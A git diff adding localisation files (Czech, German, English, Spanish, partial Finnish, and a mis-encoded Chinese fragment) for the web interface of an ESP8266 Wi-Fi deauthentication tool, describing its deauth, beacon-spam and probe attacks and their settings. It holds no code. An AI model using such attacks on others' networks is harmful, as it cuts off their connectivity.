"å‘é€å¤šå°‘æ•°æ®åŒ…æ¥ç”¨äºŽæ”»å‡»ã€‚\n如果è¦åœ¨ç¹å¿™åŒºåŸŸè¾¾åˆ°æ›´å¥½çš„æ•°æ®åŒ…速率,则将此值设置得更高。\nå°å¿ƒï¼Œè¿™ä¸ªè®¾ç½®å¯èƒ½ä½¿è®¾å¤‡æ›´æ…¢æˆ–者更ä¸ç¨³å®šã€‚\n最大值为255!", + "setting_deauthspertarget": "å‘é€ç»™æ¯ä¸ªç›®æ ‡çš„解除关è”帧与解除认è¯å¸§ã€‚", + "setting_deauthReason": "解除认è¯å¸§çš„原因代ç ã€‚告知目标设备其为什么连接会被关闭。", + "setting_beaconchannel": "如果å¯ç”¨ï¼Œåœ¨è¿è¡Œä¿¡æ ‡å¸§(Beacon)攻击时,会在ä¸åŒä¿¡é“上广播。", + "setting_beaconInterval": "å¯ç”¨æ—¶ï¼Œæ¯éš”1s会å‘é€ä¸€æ¬¡ä¿¡æ ‡å¸§(Beacon)ã€‚å…³é—­æ—¶ï¼Œæ—¶é—´é—´éš”ä¼šå˜æˆ100ms。\n一个长的时间间隔æ„å‘³ç€æ›´ç¨³å®šå’Œæ›´é«˜æ•ˆçš„æ•°æ®åŒ…,但在扫æå®¢æˆ·ç«¯å’ŒæŽ¥å…¥ç‚¹æ—¶ä¼šèŠ±è´¹æ‚¨æ›´å¤šæ—¶é—´ã€‚", + "setting_randomTX": "å¯ç”¨éšæœºä¼ è¾“åŠŸçŽ‡æ¥å‘é€ä¿¡æ ‡å¸§å’ŒæŽ¢æµ‹è¯·æ±‚帧。", + "setting_probesPerSSID": "探测攻击模å¼ä¸‹å‘é€ç»™æ¯ä¸ªSSID的探测请求帧。", + "setting_lang": "Web界é¢çš„默认语言。\n请确认语言文件是å¦å­˜åœ¨ï¼" +} diff --git a/enp8266/esp8266_deauther-master/web_interface/lang/cs.lang b/enp8266/esp8266_deauther-master/web_interface/lang/cs.lang new file mode 100755 index 0000000..25223df --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/lang/cs.lang @@ -0,0 +1,75 @@ +{ + "lang": "cs", + "warning": "VAROVÃNÃ", + "disclaimer": "Tento projekt slouží pouze pro testovací a edukaÄní využití.\nESP8266, nebo jeho SDK není urÄeno pro toto použití, proto se mohou vyskytnout chyby!\n\nPoužijte tento projekt jen proti vlastním zařízením a sítím!\n\nPoužíváme validní Wi-Fi rámce popsané v IEEE 802.11 standardu. Neblokujeme, ani nezasahujeme do jiných frekvencí.\nPÅ™ed použitím si zkontrolujte omezení ve vaší zemi.\n\nProsím neodkazujte na tento projekt jako na \"ruÅ¡iÄku\", nebo \"jammer\", podkopává to reálný význam tohoto projektu!\nPokud tak budete nadále odkazovat, jen to ukazuje, že jste nic nepochopili.\nPublikování obsahu o tomto projektu bez řádného vysvÄ›tlení ukazuje, že to dÄ›láte pouze pro kliknutí, slávu, peníze a nemáte žádný respekt k duÅ¡evnímu vlastnictví, komunitÄ› za ním a boji za lepší standard WiFi.\n\nPro více informací navÅ¡tivte:", + "disclaimer-button": "PÅ™eÄetl jsem a pochopil výše uvedené oznámení", + "reload": "Obnovit", + "scan": "Skenovat", + "ssids": "SSID", + "attacks": "Útoky", + "settings": "Nastavení", + "info": "Info", + "info_span": "INFO: ", + "all": "VÅ¡e", + "channel": "Kanál", + "devices": "Uložená zařízení", + "select_all": "OznaÄit vÅ¡e", + "deselect_all": "OdoznaÄit vÅ¡e", + "remove_all": "Odstranit vÅ¡e", + "station_scan_time": "ÄŒas skenování stanice", + "new": "Nový", + "save": "Uložit", + "add": "PÅ™idat", + "add_selected": "Klonovat vybrané stanice", + "overwrite": "PÅ™epsat", + "time_interval": "ÄŒasový interval", + "number": "Číslo", + "targets": "Cíle", + "scan_info": "- KliknÄ›te na Skenovat a vyÄkejte až se modrá LED vypne (nebo se zmÄ›ní na zelenou), poté kliknÄ›te na Obnovit.\n- Webové rozhraní nebude bÄ›hem skenu dostupné. Budete se muset pÅ™ipojit znovu!\n- Vyberte jenom jeden cíl!\n", + "ssids_info": "- Pro útok bude využit tento seznam SSID.\n- Každé SSID může mít do 32 znaků.\n- Po editaci nezapomeňte kliknout na Uložit.\n- Po klonování SSID budete muset kliknout na Obnovit.\n", + "attack_info": "- PÅ™i zahájení útoku možná ztratíte pÅ™ipojení!\n- Musíte vybrat cíl.\n- Pro útok potÅ™ebujete uložené SSID.\n- KliknÄ›te na Obnovit pro obnovení rychlosti paketů.\n", + "settings_info": "- NÄ›která nastavení vyžadují restart.\n- Pro aplikování zmÄ›n kliknÄ›te na Uložit.\n", + "info_disclaimer": "V případÄ› neoÄekávané chyby obnovte stránku a zkontrolujte sériové rozhraní pro další ladÄ›ní.", + "start_stop": "START / STOP", + "start": "START", + "stop": "STOP", + "wifi_off": "WiFi Off", + "reboot": "Restartovat", + "reset": "Resetovat", + "enable_random": "Zapnout režim náhody", + "disable_random": "Vypnout režim náhody", + "random_desc": "Zapnout generování náhodného SSID seznamu.", + "deauth_desc": "UzavÅ™e spojení WIFI zařízení odesláním deauth paketů klientům a AP, které jste si vybrali.\nToto je možné, protože vÄ›tÅ¡ina zařízení neimplementuje 802.11w-2009 standard, který proti tomuto útoku brání.\n- Vyberte jenom jeden cíl! Pokud vyberete více cílů, které jsou na jíných kanálech a spustíte útok, tak ztratíte možnost se pÅ™ipojit do webového rozhraní.\n", + "beacon_desc": "Pro zviditelnÄ›ní jsou použity beacon pakety. Odesíláním tÄ›chto paketů výtváříte dojem nových sítí.\nJména můžete specifikovat v sekci SSID.", + "probe_desc": "Probe požadavky jsou odesílány klienty, pro zjiÅ¡tÄ›ní, jestli není blízko známá síť.\nPoužijte tento útok pro zmatení WIFI skenerů.\nVe vaší domácí sítí pravdÄ›podobnÄ› nezaznamenáte žádné výsledky.", + "setting_version": "Číslo verze, tj. v2.0.\nMůže být zmÄ›nÄ›no pouze ve zdrojovém kódu.", + "setting_ssid" : "SSID přístupového bodu AP (je-li zapnuto).\nDélka musí být mezi 1 a 31 znaky.", + "setting_password": "Heslo přístupového bodu AP (je-li zapnuto).\nDélka musí být mezi 8 a 31 znaky.", + "setting_channel": "Výchozí WIFI kanál, který bude použit pÅ™i startu.", + "setting_hidden": "Skryje přístupový bod pro webové rozhraní (je-li zapnuto).", + "setting_captivePortal": "Aktivuje captive portal pro webové rozhraní (je-li zapnuto).", + "setting_autosave": "Aktivuje automatické ukládání SSID, jmen zařízení and nastavení.", + "setting_autosavetime": "ÄŒasový interval pro automatické ukládání v milisekundách.", + "setting_display": "Aktivuje rozhraní displaye.", + "setting_displayTimeout": "ÄŒas v sekundách za který se display po neÄinnosti automaticky vypne.\nPro vypnutí ÄasovaÄe použijte 0.", + "setting_serial": "Aktivuje sériové rozhraní.\nNení doporuÄeno ho vypínat!", + "setting_serialEcho": "Aktivuje odezvu (echo) pro každý řádek v sériové konzoli.", + "setting_web": "Aktivuje webové rozhraní.", + "settings_webSpiffs": "Zapnout SPIFFS pro vÅ¡echny webové soubory.", + "setting_led": "Aktivuje (RGB) LED.", + "setting_maxch": "Max. kanál.\nUS = 11, EU = 13, Japonsko = 14.", + "setting_macAP": "MAC adresa v AP módu.\nMAC adresa bude nahrazena, pokud je AP mód aktivní.", + "setting_macSt": "MAC adresa v módu stanice.\nMAC adresa bude nahrazena, pokud je mód stanice aktivní.", + "setting_chtime": "ÄŒas pro skenování jednoho kanálu v milisekundách (pokud je zapnuto pÅ™eskakování kanálů).", + "setting_minDeauths": "Minimální poÄet odhlaÅ¡ovacích rámců pro zmÄ›nu LED indikátoru.", + "setting_attacktimeout": "Útok se automaticky zastaví po zadaném Äase (v sekundách).\nPro vypnutí ÄasovaÄe nastavte 0.", + "setting_forcepackets": "PoÄet pokusů pro odeslání paketu.\nNastavte vÄ›tší hodnotu, pokud potÅ™ebujete lepší výsledky v ruÅ¡ných prostÅ™edích.\nToto nastavení může vést ke zpomalení zařízení a nestabilitÄ›.\nMaximální hodnota je 255!", + "setting_deauthspertarget": "Kolik deauth paketů bude odesláno každému cíli.", + "setting_deauthReason": "Kód, který urÄuje důvod odhlášení klientů za sítÄ›.", + "setting_beaconchannel": "Pokud aktivní, beacon pakety budou odesílány na odliÅ¡ných kanálech.", + "setting_beaconInterval": "Pokud aktivní, beacon interval bude 1s. Pokud ne, interval bude 100ms.\nDelší interval znamená vÄ›tší stabilitu, ale skenování může trvat déle.", + "setting_randomTX": "Aktivuje náhodný vysílací výkon pro každý packet.", + "setting_probesPerSSID": "Kolik probe paketů bude odesláno k SSID.", + "setting_lang": "Výchozí jazyk pro webové rozhraní.\nUjistÄ›te se, že definiÄní soubor jazyka existuje!" +} + diff --git a/enp8266/esp8266_deauther-master/web_interface/lang/de.lang b/enp8266/esp8266_deauther-master/web_interface/lang/de.lang new file mode 100755 index 0000000..2086c86 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/lang/de.lang @@ -0,0 +1,74 @@ +{ + "lang": "de", + "warning": "WARNUNG", + "disclaimer": "Dieses Proof-of-Concept-Projekt ist zum Lernen und Testen.\nWeder der ESP8266, noch das SDK sind für solche Zwecke gemacht. Fehler können auftreten!\n\nBenutze es nur gegen eigene Netzwerke und Geräte!\n\nEs werden valide Wi-Fi-Frames nach IEEE 802.11 verwendet und keine Frequenzen gestört oder blockiert.\n\nBitte bezeichne dieses Projekt nicht als \"Jammer\" oder \"Störsender\", dass untergräbt den Sinn dieses Projektes!\nWenn du es doch tust, zeigt es nur, dass du nichts von dem, wofür das Projekt steht, verstanden hast.\nDie Veröffentlichung von Inhalten hierzu ohne entsprechende Erläuterung zeigt, dass du es nur für Aufmerksamkeit, Klicks und/oder Geld machst und keinen Respekt für geistiges Eigentum, die Gemeinschaft dahinter und den Kampf für einen besseren Wi-Fi-Standard hast.\n\nFür mehr Informationen, besuche:", + "disclaimer-button": "Ich habe den Hinweis gelesen und verstanden", + "reload": "Neu laden", + "scan": "Scan", + "ssids": "SSIDs", + "attacks": "Attacken", + "settings": "Einstellungen", + "info": "Info", + "info_span": "INFO: ", + "all": "Alle", + "channel": "Kanal", + "devices": "Gespeicherte Geräte", + "select_all": "Alle auswählen", + "deselect_all": "Auswahl aufheben", + "remove_all": "Alle entfernen", + "station_scan_time": "Station-Scan-Zeit", + "new": "Neu", + "save": "Speichern", + "add": "Hinzufügen", + "add_selected": "Klone ausgewählte APs", + "overwrite": "Überschreiben", + "time_interval": "Zeitintervall", + "number": "Anzahl", + "targets": "Ziele", + "scan_info": "- Drücke auf \"Scan\" und warte bis sich die blaue LED auf deinem Board ausschaltet (oder grün wird), dann drücke \"Neu laden\".\n- Das Webinterface schaltet sich während eines Station-Scans aus und Du musst dich neu verbinden!\n- Bitte wähle nur ein Ziel aus!\n", + "ssids_info": "- Die SSID-Liste wird für die Beacon- und Probe-Attacken verwendet.\n- Jede SSID kann bis zu 32 Zeichen haben.\n- Vergiss nicht auf Speichern zu klicken nachdem du eine Änderung vorgenommen hast.\n- Du musst auf \"Neu laden\" klicken nachdem du SSIDs geklont hast.\n", + "attack_info": "- Die Verbindung kann beim Starten einer Attacke unterbrochen gehen!\n- Für Deauth-Attacken wird ein ausgewähltes Ziel benötigt.\n- Für Beacon- und Probe-Attacken werden gespeicherte SSIDs benötigt.\n- Klicke \"Neu laden\" um die Paketrate zu aktualisieren.\n", + "settings_info": "- Einige Einstellungen benötigen einen Neustart.\n- Klicke \"Speichern\", um sicherzustellen, dass deine Änderungen übernommen werden.\n", + "info_disclaimer": "Im Falle eines unerwarteten Fehlers lade die Seite erneut und schaue auf den Serial-Monitor für weiteres Debugging.", + "start_stop": "START / STOPP", + "start": "START", + "stop": "STOPP", + "wifi_off": "WiFi aus", + "reboot": "Neu starten", + "reset": "Reset", + "enable_random": "Random Mode EIN", + "disable_random": "Random Mode AUS", + "random_desc": "Schalte den Random-Mode ein, um eine zufällige SSID-Liste im gegebenen Interval automatisch zu generieren.", + "deauth_desc": "Schließt die Verbindung von WiFi-Geräten durch das Senden von Deauthentication-Frames zu den ausgewählten Geräten.\nDas ist nur möglich, da viele Geräte nicht den 802.11w-2009-Standard nutzen. Dieser bietet einen Schutz gegen solche Attacken.\nBitte wähle nur ein Ziel aus! Bei mehreren Zielen auf verschiedenen Kanälen muss das Gerät ständig den Kanal wechseln und du wirst dich nicht mehr das Webinterface nutzen können.", + "beacon_desc": "Beacon-Pakete werden benutzt, um auf Netzwerke aufmerksam zu machen. Durch das ständige Senden von solchen Paketen macht es den Anschein, Du hättest neue WiFi-Netzwerke erstellt.\nDu kannst die Netzwerknamen in der SSID-Liste einstellen.", + "probe_desc": "Probe-Requests werden von Client-Geräten gesendet, um nach bekannten Netzwerken in Reichweite zu fragen.\nBenutze diese Attacke um WiFi-Trackers zu verwirren, indem Du ständig nach Netzwerken aus der SSID-Liste fragst.\nEs ist unwahrscheinlich, dass diese Attacke merkbare Auswirkungen auf Dein Heimnetzwerk hat.", + "setting_version": "Versionsnummer, z.B. v2.0.\nDiese Einstellung kann nur im Quellcode verändert werden.", + "setting_ssid" : "SSID des Access-Points, benutzt für das Webinterface (wenn aktiviert).\nDie Länge muss zwischen 1 und 31 Zeichen sein.", + "setting_password": "Passwort des Access-Points für Webinterface (wenn aktiviert).\nDie Länge muss zwischen 8 und 31 Zeichen sein.", + "setting_channel": "Standard WiFi-Kanal der beim Starten genutzt wird.", + "setting_hidden": "Versteckt Access-Point für Webinterface (wenn aktiviert).", + "setting_captivePortal": "Aktiviert Captive-Portal für Webinterface (wenn aktiviert).", + "setting_autosave": "Aktiviert automatisches Speichern der SSIDs, Geräte und Einstellungen.", + "setting_autosavetime": "Zeitintervall für automatisches Speichern in Millisekunden.", + "setting_display": "Aktiviert Display-Interface.", + "setting_displayTimeout": "Zeit in Sekunden nachdem der Display automatisch ausschaltet, wenn inaktiv.\nZum Deaktivieren des Timeouts, setze es auf 0.", + "setting_serial": "Aktiviere Serial-Interface.\nEs wird empfohlen es immer aktiviert zu lassen!", + "setting_serialEcho": "Erlaubt Echo für jede Nachricht über die serielle Verbindung.", + "setting_web": "Aktiviert Webinterface.", + "setting_webSpiffs": "Aktiviert SPIFFS für alle Web-Datein.", + "setting_led": "Aktiviert (RGB-)LED.", + "setting_maxch": "Max. Kanal zum Scannen.\nUS = 11, EU = 13, Japan = 14.", + "setting_macAP": "MAC-Adresse für Access-Point-Modus.\nBeachte, dass die Adresse nur angewendet wird wenn der Access-Point-Modus aktiviert ist.", + "setting_macSt": "MAC-Adresse für Station-Modus.\nBeachte, dass die Adresse nur angewendet wird, wenn der Station-Modus aktiviert ist.", + "setting_chtime": "Scan-Zeit in Millisekunden für einen Kanal, bevor zum nächsten gewechselt wird (nur wenn Channel-Hopping aktiviert ist).", + "setting_minDeauths": "Minimale Anzahl an Deauthentication-Frames beim Scannen, um den LED-Modus zu ändern.", + "setting_attacktimeout": "Nach wie viel Sekunden die Attacke automatisch gestoppt wird.\nSetze es auf 0 um diese Funktion zu deaktivieren.", + "setting_forcepackets": "Wie oft versucht werden soll ein Paket zu versenden.\nÄndere diesen Wert um weine bessere Paketrate zu erreichen.\nSei Vorsichtig, diese Einstellung kann das Gerät langsamer machen.\nDer maximal Wert ist 255!", + "setting_deauthspertarget": "Wie viele Deauthentication- und Disassociaten-Frames für jedes Ziel versendet werden sollen.", + "setting_deauthReason": "Der Reason-Code beim versenden der Deauth-Pakete um dem Ziel zu sagen, warum die Verbindung getrennt wird.", + "setting_beaconchannel": "Wenn aktiviert, sendet Beacon-Pakete auf verschiedenen Kanälen.", + "setting_beaconInterval": "Wenn aktiviert, versendet je SSID ein Beacon-Pakete jede Sekunde. Sonst alle 100ms.\nEin größeres Intervall bedeutet mehr Stabilität und weniger Paket-Spamming, aber es könnte länger dauern bis Client-Geräte die Netzwerke finden.", + "setting_randomTX": "Enables randomized transmission power for sending out beacon and probe request frames.", + "setting_probesPerSSID": "Wie viele Probe Requests pro SSID versendet werden sollen.", + "setting_lang": "Standardsprache für Webinterface.\nSei sicher, dass eine passende Sprachdatei existiert!" +} diff --git a/enp8266/esp8266_deauther-master/web_interface/lang/en.lang b/enp8266/esp8266_deauther-master/web_interface/lang/en.lang new file mode 100755 index 0000000..a4c8c83 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/lang/en.lang @@ -0,0 +1,74 @@ +{ + "lang": "en", + "warning": "WARNING", + "disclaimer": "This project is a proof of concept for testing and educational purposes.\nNeither the ESP8266, nor its SDK was meant or build for such purposes. Bugs can occur!\n\nUse it only against your own networks and devices!\n\nIt uses valid Wi-Fi frames described in the IEEE 802.11 standard and does not block or disrupt any frequencies.\nPlease check the legal regulations in your country before using it.\n\nPlease don't refer to this project as \"jammer\", that totally undermines the real purpose of this project!\nIf you do, it only proves that you didn't understand anything of what this project stands for.\nPublishing content about this without without a proper explanation shows that you only do it for the clicks, fame and/or money and have no respect for intellectual property, the community behind it and the fight for a better WiFi standard.\n\nFor more information visit:", + "disclaimer-button": "I have read and understood the notice above", + "reload": "Reload", + "scan": "Scan", + "ssids": "SSIDs", + "attacks": "Attacks", + "settings": "Settings", + "info": "Info", + "info_span": "INFO: ", + "all": "All", + "channel": "Channel", + "devices": "Saved Devices", + "select_all": "Select All", + "deselect_all": "Deselect All", + "remove_all": "Remove All", + "station_scan_time": "Station Scan Time", + "new": "New", + "save": "Save", + "add": "Add", + "add_selected": "Clone selected APs", + "overwrite": "Overwrite", + "time_interval": "Time Interval", + "number": "Number", + "targets": "Targets", + "scan_info": "- Click Scan and wait until the blue LED on your board turns off (or changes to green), then click on Reload.\n- The web interface will be unavailable during a station scan and you will have to reconnect!\n- Please select only one target!\n", + "ssids_info": "- This SSID list is used for the beacon and probe attack.\n- Each SSID can be up to 32 characters.\n- Don't forget to click save when you edited a SSID.\n- You have to click Reload after cloning SSIDs.\n", + "attack_info": "- You might lose connection when starting an attack!\n- You need to select a target for the deauth attack.\n- You need a saved SSID for the beacon and probe attack.\n- Click reload to refresh the packet rate.\n", + "settings_info": "- Some settings require a reboot.\n- Click save to make sure that your changes are applied.\n", + "info_disclaimer": "In case of an unexpected error, please reload the site and look at the serial monitor for further debugging.", + "start_stop": "START / STOP", + "start": "START", + "stop": "STOP", + "wifi_off": "WiFi Off", + "reboot": "Reboot", + "reset": "Reset", + "enable_random": "Enable Random Mode", + "disable_random": "Disable Random Mode", + "random_desc": "Enable the random mode to generate a random SSID list in a given interval.", + "deauth_desc": "Closes the connection of WiFi devices by sending deauthentication frames to access points and client devices you selected.\nThis is only possible because a lot of devices don't use the 802.11w-2009 standard that offers a protection against this attack.\n- Please only select one target! When you select multiple targets that run on different channels and start the attack, it will quickly switch between those channels and you have no chance to reconnect to the web interface.\n", + "beacon_desc": "Beacon packets are used to advertise access points. By continuously sending beacon packets out, it will look like you created new WiFi networks.\nYou can specify the network names under SSIDs.", + "probe_desc": "Probe requests are sent by client devices to ask if a known network is nearby.\nUse this attack to confuse WiFi trackers by asking for networks that you specified in the SSID list.\nIt's unlikely you will see any impact by this attack with your home network.", + "setting_version": "Version number, i.e. v2.0.\nThis setting can only be changed in the source code.", + "setting_ssid" : "SSID of access point used for the web interface (if enabled).\nThe length must be between 1 and 31 characters.", + "setting_password": "Password of access point used for the web interface (if enabled).\nThe length must be between 8 and 31 characters.", + "setting_channel": "Default WiFi channel that is used when starting.", + "setting_hidden": "Hides the access point that is used for the web interface (if enabled).", + "setting_captivePortal": "Enables captive portal for access point (if enabled).", + "setting_autosave": "Enables automatic saving of SSIDs, device names and settings.", + "setting_autosavetime": "Time interval for automatic saving in milliseconds.", + "setting_display": "Enables display interface.", + "setting_displayTimeout": "Time in seconds after which the display turns off when inactive.\nTo disable the display timeout, set it to 0.", + "setting_serial": "Enables serial interface.\nIt's recommended not to disable it!", + "setting_serialEcho": "Enables echo for each incoming message over serial.", + "setting_web": "Enables web interface.", + "setting_webSpiffs": "Enables SPIFFS for all web files.", + "setting_led": "Enables the (RGB) LED feature.", + "setting_maxch": "Max. channel to scan on.\nUS = 11, EU = 13, Japan = 14.", + "setting_macAP": "MAC address used for the access point mode.\nPlease note that the MAC address will only replace the internal MAC address when the accesspoint mode is enabled.", + "setting_macSt": "MAC address used for the station mode.\nPlease note that the MAC address will only replace the internal MAC address when the station mode is enabled.", + "setting_chtime": "Time for scanning one channel before going to the next in milliseconds (only if channel hopping is enabled).", + "setting_minDeauths": "Minimum number of deauthentication frames when scanning to change the LED to deauth mode.", + "setting_attacktimeout": "After what amount of time (in seconds) the attack will stop automatically.\nSet it to 0 to disable it.", + "setting_forcepackets": "How many attempts to send out a packet.\nSet this value higher if you want to achieve a better packet rate in a busy area.\nBe careful this setting could make the device slower or more unstable.\nMax value is 255!", + "setting_deauthspertarget": "How many deauthentication and disassociation frames are sent out for each target.", + "setting_deauthReason": "The reason code that is sent with the deauth frames to tell the target device why the connection will be closed.", + "setting_beaconchannel": "If enabled, will send all frames on different channels when running a beacon attack.", + "setting_beaconInterval": "If set true, beacons will be sent out every second. If set to false, the interval will be 100ms.\nA longer interval means more stability and less spamming of packets, but it could take longer until the clients find the ssids when scanning.", + "setting_randomTX": "Enables randomized transmission power for sending out beacon and probe request frames.", + "setting_probesPerSSID": "How many probe request frames are sent for each SSID.", + "setting_lang": "Default language for the web interface.\nBe sure the language file exists!" +} \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/web_interface/lang/es.lang b/enp8266/esp8266_deauther-master/web_interface/lang/es.lang new file mode 100755 index 0000000..077f0a0 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/lang/es.lang @@ -0,0 +1,74 @@ +{ + "lang": "es", + "warning": "ADVERTENCIA", + "disclaimer": "Este proyecto es una prueba de concepto con un motivo didáctico y experimental. \nNi el modulo ESP8266, ni su relativo SDK fueron creados o proyectados para estos propósitos.\n\n¡Úsalo solo contra tus propias redes y dispostivos! \n\nEl software utiliza exclusivamente los marcos WiFi válidos descritos en el estándar IEEE 802.11 de manera que no se bloquea o interrumpe frecuencia alguna. \nPor favor, verifica la regulación vigente de tu país antes de utilizarlo. \n\nPor favor no referirse a este proyecto como \"jammer\" o \"inhibidor\", esto iría completamente en contra de la verdadera finalidad del proyecto\nSi lo haces tan solo demostarás no haber entendido absolutamente nada de lo que este proyecto representa. \nPublicar contenido sin una explicación adecuada demuestra que tan solo se hace por los clics, fama y/o dinero y que no se tiene ningún respeto por la propriedad intelectual, la comunidad detrás de ello y la lucha por un mejor estándar WiFi. \n\nPara más información visita:", + "disclaimer-button": "He leído y entendido el aviso anterior", + "reload": "Actualizar", + "scan": "Escanear", + "ssids": "SSIDs", + "attacks": "Ataques", + "settings": "Configuración", + "info": "Informacón", + "info_span": "INFO: ", + "all": "Todo", + "channel": "Canal", + "devices": "Dispositivos guardados", + "select_all": "Seleccionar todo", + "deselect_all": "Deseleccionar todo", + "remove_all": "Quitar todo", + "station_scan_time": "Tiempo de escaneo de la estación", + "new": "Nuevo", + "save": "Guardar", + "add": "Agregar", + "add_selected": "Clonar los APs seleccionados", + "overwrite": "Sobrescribir", + "time_interval": "Intervalo de tiempo", + "number": "Número", + "targets": "Objetivos", + "scan_info": "- Haz clic en Escanear y espera hasta que el led azul en la placa se apague (o cambie a verde), luego haz clic en Actualizar.\n- ¡La interfaz web no estará disponible durante el escaneo de una estación y tendrás que reconectarte!\n- ¡Selecciona solo un objetivo!\n", + "ssids_info": "- Esta lista SSID se utiliza para los ataques de tipo 'Beacon' y 'Probe'.\n- Cada SSID puede contener hasta 32 caráteres.\n- No olvides hacer clic en Guardar cuando se modifique un SSID.\n- Tienes que hacer clic en Actualizar después de clonar un SSID.\n", + "attack_info": "- ¡Puede que pierdas la conexión al iniciar el ataque!\n- Tienes que seleccionar un objetivo para el ataque de tipo 'Deauth'.\n- Se necesita un SSID guardado para el ataque tipo 'Beacon' o 'Probe'.\n- Haz clic en Actualizar para refrescar la velocidad de los paquetes.\n", + "settings_info": "- Algunas configuraciones necesitan un reinicio.\n- Haz clic en Guardar para asegurar que las modificaciones sean aplicadas.\n", + "info_disclaimer": "En caso de error, actualiza la página y echa un vistazo al monitor serial para una depuración más detallada.", + "start_stop": "INICIAR / DETENER", + "start": "INICIAR", + "stop": "DETENER", + "wifi_off": "Apagar WiFi", + "reboot": "Reiniciar", + "reset": "Restablecer", + "enable_random": "Habilita el modo aleatorio", + "disable_random": "Deshabilita el modo aleatorio", + "random_desc": "Habilitar el modo aleatorio para generar una lista SSID aleatoria en un intervalo dado.", + "deauth_desc": "Cierra la conexión de los dispositivos WiFi enviando los marcos de desautenticación a los APs y a los dispositivos clientes seleccionados.\nEsto es posible solo porque muchos dispositivos no utilizan el estándar 802.11w-2009, que ofrece una protección contra este tipo de ataque.\n- ¡Por favor, seleccione solo un blanco! Cuando se seleccionan más blancos que son llevados a cabo sobre canales diversos e inicia el ataque, pasará rápidamente de estos canales y no tendrá posibilidad alguna de reconectarse a la interfaz web.\n", + "beacon_desc": "Los paquetes 'Beacon' son utilizados para publicitar los APs. Enviando continuamente paquetes 'Beacon', parecería que se han creado nuevas redes WiFi.\nEs posible especificar los nombres de red bajo SSID.", + "probe_desc": "Las peticiones 'Probe' son enviadas por los dispositivos clientes para preguntar si una red determinada se encuentra al alcance.\nUtiliza este ataque para confundir los 'trackers' WiFi preguntando por redes especificadas en la lista SSID.\nEs improbable que no veas algún impacto de este ataque en tu red doméstica.", + "setting_version": "Número de versión, por ejemplo v2.0.\nEste ajuste sólo puede ser modificado en el código fuente.", + "setting_ssid" : "SSID del AP utilizado para la interfaz web (si habilitado).\nEl tamaño debe comprender entre 1 y 31 caracteres.", + "setting_password": "Contraseña del AP utilizada para la interfaz (si habilitado).\nEl tamaño debe comprender entre 8 y 31 caracteres.", + "setting_channel": "Canal WiFi predefinido que es utilizado al inicio.", + "setting_hidden": "Oculta el AP utilizado para la interfaz web (si habilitado).", + "setting_captivePortal": "Habilita el portal cautivo para el AP (si habilitado).", + "setting_autosave": "Habilita el guardado automático de SSID, nombres de dispositivos y configuraciones.", + "setting_autosavetime": "Intervalo de tiempo para el guardado automático en milisegundos.", + "setting_display": "Habilita la interfaz de la pantalla.", + "setting_displayTimeout": "Tiempo en segundos tras los que la pantalla se apaga al estar inactiva.\nPara deshabilitar el timeout de la pantalla, configurarlo en 0.", + "setting_serial": "Habilita la interfaz serial.\n¡Se recomienda no desactivarla!", + "setting_serialEcho": "Habilita la muestra de cada mensaje recibido por serial.", + "setting_web": "Habilita la interfaz web.", + "setting_webSpiffs": "Habilita SPIFFS para todos los archivos web.", + "setting_led": "Habilita la función led (RGB).", + "setting_maxch": "Canal máximo para el escaneo.\nEEUU = 11, EU = 13, Japón = 14.", + "setting_macAP": "Dirección MAC utilizada para el modo AP.\nLa dirección MAC reemplazará la MAC interna tan solo cuando el modo AP este habilitado.", + "setting_macSt": "Dirección MAC utilizada para el modo estación.\nLa dirección MAC reemplazará la MAC interna tan solo cuando el modo estación este habilitado.", + "setting_chtime": "Tiempo de escaneo de un canal antes di pasar al sucesivo en milisegundos (sólo si el pase de canales está habilitado).", + "setting_minDeauths": "Número mínimo de marcos de desautentifiación durante el escaneo para cambiar el modo led en 'Deauth'.", + "setting_attacktimeout": "Después de cuanto tiempo (en segundos) el ataque se detendrá automaticamente.\nConfigurarlo en 0 para deshabilitarlo.", + "setting_forcepackets": "Cuantos tentativos de envío de un paquete.\nConfigurar este valor más alto si se desea obtener una mejor velocidad de paquetes en un área ocupada.\nCuidado, esta configuración puede hacer que el dispositivo vaya más lento o hacerlo más inestable.\n¡El valor máximo es 255!", + "setting_deauthspertarget": "Cuantos marcos de desautentifiación y desasociación son enviados para cada blanco.", + "setting_deauthReason": "El código de motivo que se envía con los marcos tipo \"deauth\" para indicar al dispositivo de destino por qué la conexión será terminada.", + "setting_beaconchannel": "Si se habilita, se enviarán todos los marcos en diferentes canales durante la ejecución de un ataque tipo 'Beacon'.", + "setting_beaconInterval": "Habilitado los Beacons serán enviados cada segundo. Deshabilitado, el intervalo será de 100 ms.\nUn intervalo más largo significa mayor estabilidad y menos 'spammeo' de los paquetes, pero podría nesecitar más tiempo hasta que los clientes encuentren los SSID durante el escaneo.", + "setting_randomTX": "Habilita la potencia de transmisión aleatoria para el envío de peticiones de marcos 'Beacons' y 'Probe'.", + "setting_probesPerSSID": "Cantidad de marcos de peticiones 'Probe' enviados para cada SSID.", + "setting_lang": "Idioma predefinido para la interfaz web.\n¡Verifica que el archivo del idioma exista previamente!" +} \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/web_interface/lang/fi.lang b/enp8266/esp8266_deauther-master/web_interface/lang/fi.lang new file mode 100755 index 0000000..b06dbb9 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/lang/fi.lang @@ -0,0 +1,74 @@ +{ + "lang": "fi", + "warning": "VAROITUS", + "disclaimer": "Tämä laite on tarkoitettu verkon turvallisuustestien tekemiseen, eikä verkon murtautumiseen! ", + "disclaimer-button": "Olen lukenut ja käytän laitetta oikein", + "reload": "Lataa Uudelleen", + "scan": "Skannaa", + "ssids": "SSID:t", + "attacks": "Hyökkäykset", + "settings": "Asetukset", + "info": "Info", + "info_span": "INFO: ", + "all": "Kaikki", + "channel": "Kanavat", + "devices": "Tallennetut Laitteet", + "select_all": "Valitse Kaikki", + "deselect_all": "Poista valinnat", + "remove_all": "Poista Kaikki", + "station_scan_time": "Asemien skannausaika", + "new": "Uusi", + "save": "Tallenna", + "add": "Lisää", + "add_selected": "Kloonaa Valitut Verkot", + "overwrite": "Kirjoita päälle", + "time_interval": "Aikaväli", + "number": "Numero", + "targets": "Kohteet", + "scan_info": "- Napsauta Skannaa ja odota, kunnes sinisen LED-valo sammuu (tai muuttuu vihreäksi) ja 